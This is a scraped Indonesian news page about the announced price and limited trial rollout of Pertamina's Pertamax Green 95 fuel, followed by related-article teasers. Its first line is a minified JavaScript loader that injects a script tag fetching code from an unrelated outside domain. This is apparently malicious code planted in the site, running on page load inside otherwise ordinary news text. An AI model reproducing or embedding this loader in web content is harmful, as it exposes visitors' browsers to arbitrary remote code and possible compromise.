(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Wakil Menteri BUMN Pahala Mansuri membeberkan harga BBM jenis baru milik Pertamina. Jenis BBM baru itu dinamakan Pertamax Green 95.
Menurut Pahala, harga BBM Pertamax Green 95 tidak jauh dari harga Pertamax yaitu sebesar Rp 13.200 per liter.
“Di kisaran 13.200, Insya Allah dikisaran segitu,” ujarnya di Jakarta yang dikutip, Selasa (4/7/2023).
Baca juga: Hakim Tolak Keberatan Tiga Terdakwa Kasus Korupsi Bendungan Tapin
Pahala memastikan, BBM jenis baru ini akan mulai dijual pada Juli ini yang diawali di wilayah Jawa Timur (Jatim). Kemudian, penjualan BBM Pertamax Green 95 akan bertahap di DKI Jakarta.
“Kemungkinan ada 17 titik SPBU yang akan menjual Green Pertamax 95. Kurang lebih 11 titik di Jatim, mungkin 6 di Jakarta,” imbuh dia.
Namun, sayangnya, tambah Pahala, uji coba penjualan Pertamax Green 95 ini baru dilakukan di dua kota tersebut. Pasalnya, ada keterbatasan pasokan bioetanol yang menjadi bahan baku BBM Pertamax Green 95.
Baca juga: Wali Kota Aditya-Vivi Zubedi Borong Dua Penghargaan Manggala Karya Kencana 2023 BKKBN RI
“Tapi nanti kalau misalnya kita lihat sukses, kita akan kembangkan juga untuk menambah kapasitas produksi bioetanol,” kata dia.
Sebelumnya, Direktur Jenderal Energi Baru Terbarukan dan Konservasi Energi (EBTKE) Kementerian ESDM, Dadan Kusdiana mengatakan, sebenarnya program pencampuran BBM tersebut sudah berjalan dari 2008. Hanya saja, program itu berhenti karena masalah keekonomian.
“Nah sekarang karena Presiden meminta untuk berjalan kan Perpres sudah ditandatangani untuk itu mudah-mudahan ini di awal Juli kita bisa melaksanakan untuk wilayah yang terbatas,” ujarnya di Kementerian ESDM Jakarta, yang dikutip Selasa (20/6/2023).
Dadan menambahkan, uji coba pemasaran BBM jenis baru itu akan dilakukan sejumlah wilayah Jawa Timur, terutama di Surabaya dan Mojokerto.
Baca juga: 7 Jemaah Haji Kalsel-Kalteng Wafat, Wafat Sebelum Wukuf Sudah Dibadalhajikan
“Sudah komersial, komersial terbatas. Kita memang ini uji coba tapi uji coba komersial jadi sudah masuk ke SPBU,” imbuh dia. (Kanalkalimantan/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.